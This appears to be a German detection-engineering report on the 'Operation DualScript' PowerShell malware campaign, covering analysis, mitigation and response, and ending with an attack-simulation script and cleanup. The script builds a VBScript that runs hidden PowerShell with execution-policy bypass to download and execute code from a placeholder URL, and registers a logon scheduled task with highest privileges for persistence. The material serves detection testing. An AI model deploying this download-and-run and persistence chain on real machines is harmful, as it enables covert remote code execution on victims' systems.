Operation DualScript: Mehrstufige PowerShell-Malware zielt auf Krypto und Finanzen ab

Zusammenfassung

Der Bericht skizziert die Operation DualScript, eine mehrstufige Malware-Kampagne, die auf geplante Aufgaben für Persistenz, VBScript-Launcher und PowerShell-Loader setzt, um sowohl einen Zwischenablage-Hijacker als auch den RetroRAT Remote-Zugriffstrojaner zu verteilen. Die Angreifer speichern bösartigen PowerShell-Code auf externen Servern und führen ihn vollständig im Speicher aus, um Erkennungsgelegenheiten zu reduzieren. RetroRAT zeichnet Tastenanschläge auf, überwacht aktive Fenster auf finanzbezogene Schlüsselwörter und sendet gestohlene Daten über einen benutzerdefinierten TCP C2-Kanal. Die Kampagne zielt auf Kryptowährungsaktivitäten und US-amerikanische Bankziele ab.

Untersuchung

Analysten entdeckten geplante Aufgaben, die so konfiguriert waren, dass sie VBScript-Dateien von benutzerbeschreibbaren Pfaden starteten, die dann verstecktes PowerShell mit aktiviertem Ausführungsrichtlinien-Bypass ausführten. Zwei parallele Lieferketten wurden identifiziert: Eine rief ein Wallet.txt-Skript ab, um den Inhalt der Kryptowährungszwischenablage zu hijacken, während die andere RetroRAT direkt in den Speicher lud. Statische Analysen offenbarten auch Anti-Analyse-Logik, Mutex-Erstellung, Multi-Threading-Keylogging und einen hartcodierten C2-Handshake-String.

Minderung

Verteidiger sollten auf verdächtige geplante Aufgaben achten, die VBScript oder PowerShell mit versteckten Fenstern und Bypass-Argumenten aufrufen. Die Endpunkterkennung sollte sich auf die Ausführung von PowerShell im Speicher, ungewöhnliches Überwachungsverhalten der Zwischenablage und die Erstellung unbekannter Mutexes konzentrieren. Organisationen sollten auch ausgehenden Datenverkehr zu den bösartigen Domains blockieren und strikte Ausführungskontrollen für PowerShell und VBScript anwenden.

Reaktion

Wenn diese Aktivität erkannt wird, isolieren Sie den betroffenen Host, deaktivieren Sie die bösartigen geplanten Aufgaben und entfernen Sie alle persistierenden VBScript- oder PowerShell-Artefakte. Führen Sie einen vollständigen forensischen Sweep nach der RetroRAT-Nutzlast, erfassten Tastenanschlägen und damit verbundenem C2-Verkehr durch. Setzen Sie freigegebene Kryptowährungs-Wallet-Informationen zurück und ändern Sie Bankzugangsdaten. Stellen Sie betroffene Systeme aus sauberen Backups wieder her und blockieren Sie die identifizierten Domains und IP-Adressen auf der Netzwerkebene.

Ausführung der Simulation

Voraussetzung: Der Telemetrie- & Basisflug-Pre‑Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Angreifertechnik (TTP), die dazu bestimmt ist, die Erkennungsregel auszulösen. Die Befehle und Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungserfassung erwartet wird.

• Angriffs-Narrativ & Befehle:
  Der Angreifer platziert zunächst ein VBScript (dual.vbs) im Profilverzeichnis des Benutzers. Der Zweck des Skripts ist es, PowerShell mit den Flags zu starten -WindowStyle Hidden and -ExecutionPolicy Bypass, dann eine entfernte Nutzlast herunterzuladen und auszuführen (simuliert mit einem einfachen Write-Host). Um Persistenz zu erzielen, registriert der Angreifer eine geplante Aufgabe (DualScriptPersist), die das VBScript beim Anmelden ausführt. Jeder Schritt erzeugt die beiden korrelierten EventID 4104 Einträge, nach denen die Regel sucht.

• Regression-Test-Skript:

  # -------------------------------------------------
  # DualScript Angriffs-Simulation – PowerShell
  # -------------------------------------------------
  # 1️⃣ Bösartiges VBScript in einem benutzerbeschreibbaren Pfad erstellen
  $vbsPath = "$env:USERPROFILEdual.vbs"
  $payloadUrl = "http://example.com/payload.ps1"   # Platzhalter-URL
  $vbsContent = @"
  WScript.Sleep 500
  Dim sh
  Set sh = CreateObject("WScript.Shell")
  sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`""
  "@
  $vbsContent | Set-Content -Path $vbsPath -Encoding ASCII
  
  # 2️⃣ Geplante Aufgabe registrieren, die das VBScript bei jedem Benutzeranmelden ausführt
  $taskName = "DualScriptPersist"
  $taskAction = "`"$vbsPath`""
  schtasks.exe /Create `
      /SC ONLOGON `
      /RL HIGHEST `
      /TN $taskName `
      /TR $taskAction `
      /F
  
  # 3️⃣ Aufgabe sofort ausführen (Erkennung auslösen)
  schtasks.exe /Run /TN $taskName
  
  Write-Host "`n[+] DualScript-Simulation ausgeführt. Überprüfen Sie Ihre SIEM auf Warnungen."
  # -------------------------------------------------

• Aufräumbefehle:

  # -------------------------------------------------
  # DualScript Simulations-Aufräumen
  # -------------------------------------------------
  $taskName = "DualScriptPersist"
  $vbsPath  = "$env:USERPROFILEdual.vbs"
  
  # Geplante Aufgabe löschen
  schtasks.exe /Delete /TN $taskName /F
  
  # Die VBScript-Datei entfernen
  Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue
  
  Write-Host "`n[+] Aufräumarbeiten abgeschlossen."
  # -------------------------------------------------